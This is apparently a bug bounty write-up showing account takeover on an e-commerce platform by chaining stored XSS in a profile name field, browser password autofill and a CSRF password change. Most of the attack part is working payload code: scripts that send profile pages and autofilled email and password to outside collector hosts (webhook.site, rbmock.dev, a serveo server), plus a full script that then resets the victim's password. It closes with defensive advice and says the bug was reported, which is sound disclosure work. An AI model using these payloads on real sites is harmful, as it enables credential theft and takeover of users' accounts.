July 28, 2026
Account Takeover via XSS + CSRF and Browser Autofill Password
can XSS steal username and password without cookie ?!

By Mohamedmehina
5 min read
- Vulnerability Type: Account take over (ATO) via XSS and CSRF
- Severity: High
- Victim Action required: No malicious interaction
- Program: External
About Target:_ The target was a multi-vendor e-commerce, allowing third-party sellers to open online stores and list products across categories , while buyers create accounts to browse, purchase, and manage orders across the platform._
Remember that this is our target
Our goal is to change the victim's email or password. However, as you can see, the request requires the current password, so even if we find a CSRF, we won't be able to complete the request.
The question we want to answer in this article is how to access a user's password using XSS not Phishing?. Let's begin..
Steal victim information's vie Stored XSS
Initially, I found stored XSS in the Full Name field, and it appeared in the request as user_name=FULL_NAME
source
POST /account/update-profile-info HTTP/2
user_name=mehina73&
user_dob=2026-07-15&
user_phone=&
user_country_iso=gp&
user_dial_code=+590&
user_country_id=261&
user_state_id=4760&POST /account/update-profile-info HTTP/2
user_name=mehina73&
user_dob=2026-07-15&
user_phone=&
user_country_iso=gp&
user_dial_code=+590&
user_country_id=261&
user_state_id=4760&sink
<a class="dropdown-item nav__link" href="/account/profile-info">
Hi, mehina73
</a><a class="dropdown-item nav__link" href="/account/profile-info">
Hi, mehina73
</a>I tried changing the other sensitive fields like credential_email, but they wouldn't change from here, only the simple fields that have no impact are changed.
The Full Name appears in messages between people on the site and also in product comments, so the impact here is significant.
Payloads
<script>alert(1001001)<script><script>alert(1001001)<script>
Let's try stealing the cookie
<script>alert(document.cookie)</script><script>alert(document.cookie)</script>We were unsuccessful because the HttpOnly flag was enabled on PHPSESSID.
HttpOnly prevents JavaScript from reading cookies.
We always think about stealing cookie once we get a cross-site script (XSS), but why would we need them? To access their account data and perform certain actions, right?
Since we can't access cookie, let's make the victim send us that data.
Full Name:
<script src="https://webhook.site/7c7d0338-8427-4585-9323-05c2b8410000">
Body of webhook:
fetch('/account/profile-info-form').then(r=>r.text()).then(d=>fetch('https://webhook.site/7c7d0338-8427-4585-9323-05c2b8410000',{method:'POST',credentials: 'include',mode:'no-cors',body:d}));Full Name:
<script src="https://webhook.site/7c7d0338-8427-4585-9323-05c2b8410000">
Body of webhook:
fetch('/account/profile-info-form').then(r=>r.text()).then(d=>fetch('https://webhook.site/7c7d0338-8427-4585-9323-05c2b8410000',{method:'POST',credentials: 'include',mode:'no-cors',body:d}));
Completed successfully β
This is the first effect, not the last.
π‘The trick to automatically fill in passwords in the browser
If the victim saves their credentials during login, we can do this attack.
Full Name:
<input id=email>
<input type="password" name=password>Full Name:
<input id=email>
<input type="password" name=password>The idea: create a password input field and an email field right before it. The moment they exist in the DOM, the browser's autofill recognizes the pattern, email field followed by password field, and fills both from saved credentials.
No click, no focus, no victim interaction at all.
Now we want to send this data to our own server.
Full Name:
<input id=email>
<input type="password" name=password onchange="if(this.value.length)fetch('https://webhook.site/7c7d0338-8427-4585-9323-05c2b8410000',{method:'POST',body:'email='+email.value+'&password='+this.value});">Full Name:
<input id=email>
<input type="password" name=password onchange="if(this.value.length)fetch('https://webhook.site/7c7d0338-8427-4585-9323-05c2b8410000',{method:'POST',body:'email='+email.value+'&password='+this.value});">Nothing arrived. Checked the request, the payload had been silently truncated.
I then found that the allowed length is only 100 characters. Therefore, we want to reduce the previous payload size from 220 to 100.
Let's see if that will work or not
1. from POST to GET:
<input id=email>
<input type="password" name=password onchange="if(this.value.length)fetch('https://webhook.site/7c7d0338-8427-4585-9323-05c2b8410000/'+email.value+'&'+value)">
/** Now 176 char **/
2. name=password β // We don't need the name, we just need the type.
3. if(this.value.length) β // We don't need to because it runs automatically.
4. id=email -> id=e // This is just a name, so one letter is enough.
5. change the server // The server was changed to reduce the length.
<input id=e>
<input type="password" onchange="fetch('https://mcebhtu0zc.rbmock.dev/'+e.value+'&'+value)">
/** Now 105 char **/
6. https://example.com === //example.com
<input id=e>
<input type="password" onchange="fetch('//mcebhtu0zc.rbmock.dev/'+e.value+'&'+value)">
/** Now 99 char**/1. from POST to GET:
<input id=email>
<input type="password" name=password onchange="if(this.value.length)fetch('https://webhook.site/7c7d0338-8427-4585-9323-05c2b8410000/'+email.value+'&'+value)">
/** Now 176 char **/
2. name=password β // We don't need the name, we just need the type.
3. if(this.value.length) β // We don't need to because it runs automatically.
4. id=email -> id=e // This is just a name, so one letter is enough.
5. change the server // The server was changed to reduce the length.
<input id=e>
<input type="password" onchange="fetch('https://mcebhtu0zc.rbmock.dev/'+e.value+'&'+value)">
/** Now 105 char **/
6. https://example.com === //example.com
<input id=e>
<input type="password" onchange="fetch('//mcebhtu0zc.rbmock.dev/'+e.value+'&'+value)">
/** Now 99 char**/so the final payload:
<input id=e>
<input type="password" onchange="fetch('//mcebhtu0zc.rbmock.dev/'+e.value+'&'+value)"><input id=e>
<input type="password" onchange="fetch('//mcebhtu0zc.rbmock.dev/'+e.value+'&'+value)">
Here we go it worked β
XSS + CSRF to change victim email
Now we have the victim's username and password, but this isn't really enough because, in a real-life attack, seeing the username and password fields in a comment or message is definitely alarming, and the victim might change their password as soon as they feel uneasy.
Remember our main objective? Our primary goal is to change the victim's credentials.
Therefore, we want to patch the attack so that the password is stolen and then used to change the victim's password.
Let's see how we'll do that
This is what an password change request looks like.
POST /account/update-password HTTP/2
current_password=cdskSC56&
new_password=546fsdfsd&
conf_new_password=546fsdfsd&POST /account/update-password HTTP/2
current_password=cdskSC56&
new_password=546fsdfsd&
conf_new_password=546fsdfsd&To execute the attack, we will need a server where we will put the code because we are limited here to 100 characters.
Attack
Full Name:
<script src=https://MYSERVER.serveousercontent.com/x4>
Project-Folder
|
|--> server.js
|--> x4.js
Full Name:
<script src=https://MYSERVER.serveousercontent.com/x4>
Project-Folder
|
|--> server.js
|--> x4.jsx4.js
var email = document.createElement('input');
email.id = 'e';
document.body.appendChild(email);
var pass = document.createElement('input');
pass.type = 'password';
pass.onchange = function () {
var password = pass.value;
try {
new Image().src = '//MYSERVER.serveousercontent.com/collect?e=' + encodeURIComponent(email.value) + '&p=' + encodeURIComponent(password);
console.log('β
Image sent successfully');
} catch (e) {
console.log('Error sending data to the server:', e);
}
if (password) {
var params = new URLSearchParams();
params.append('current_password', password);
params.append('new_password', 'Test654321');
params.append('conf_new_password', 'Test654321');
params.append('fOutMode', 'json');
params.append('fIsAjax', '1');
fetch('/account/update-password', {
method: 'POST',
credentials: 'include',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: params.toString()
});
}
};
document.body.appendChild(pass);
var email = document.createElement('input');
email.id = 'e';
document.body.appendChild(email);
var pass = document.createElement('input');
pass.type = 'password';
pass.onchange = function () {
var password = pass.value;
try {
new Image().src = '//MYSERVER.serveousercontent.com/collect?e=' + encodeURIComponent(email.value) + '&p=' + encodeURIComponent(password);
console.log('β
Image sent successfully');
} catch (e) {
console.log('Error sending data to the server:', e);
}
if (password) {
var params = new URLSearchParams();
params.append('current_password', password);
params.append('new_password', 'Test654321');
params.append('conf_new_password', 'Test654321');
params.append('fOutMode', 'json');
params.append('fIsAjax', '1');
fetch('/account/update-password', {
method: 'POST',
credentials: 'include',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: params.toString()
});
}
};
document.body.appendChild(pass);Result
π©_200 OK._
We succeeded β
The Whole Attack, In Five Lines
1. Cookie theft blocked by HttpOnly.
2. Stored XSS found, but capped at 100 characters.
3. Exfiltrated profile data via a same-origin fetch instead of the cookie.
4. Injected a fake password field, browser autofill filled it with the real saved password, unprompted.
5. Replayed the stolen password as current_password in a CSRF request, password changed, zero interaction, zero warning.1. Cookie theft blocked by HttpOnly.
2. Stored XSS found, but capped at 100 characters.
3. Exfiltrated profile data via a same-origin fetch instead of the cookie.
4. Injected a fake password field, browser autofill filled it with the real saved password, unprompted.
5. Replayed the stolen password as current_password in a CSRF request, password changed, zero interaction, zero warning.
π§ Why This Attack Actually Works
This isn't a browser bug β autofill is working exactly as designed. It's designed to fill any email + password input pair that appears on the domain it saved credentials for, because normally only the site itself can render inputs on its own pages.
The XSS is what breaks that assumption. Once an attacker can inject arbitrary HTML into a trusted page, the browser has no way to tell "a field the site's developers built" apart from "a field an attacker just created." Same origin, same trust level, same autofill behavior. The vulnerability isn't in the password manager β it's in the site trusting unsanitized input enough to let an attacker draw on its own page.
π‘οΈ How to Protect Yourself (as a User)
- Enable 2FA everywhere it's offered.
- Turn off autofill for sensitive sites, or use a dedicated password manager (Bitwarden, 1Password)
- Delete auto-saved credentials for sites you don't fully trust
π‘οΈ How to Protect Your Application (as a Developer)
- Encode all user-controlled output at render time
- Enforce a strict Content-Security-Policy (
script-src 'self') so injected<script src>loaders can't fetch from attacker-controlled domains even if a tag slips through. - Require re-authentication (current password or step-up MFA) for all sensitive changes
- Bind state-changing requests to CSRF tokens validated server-side, not just a same-site cookie.
Reported β
#BugBounty #AccountTakeover #ATO #XSS #CSRF #BrowserSecurity #Autofill #CreativeHacking #InfoSec #WebSecurity #InfoSec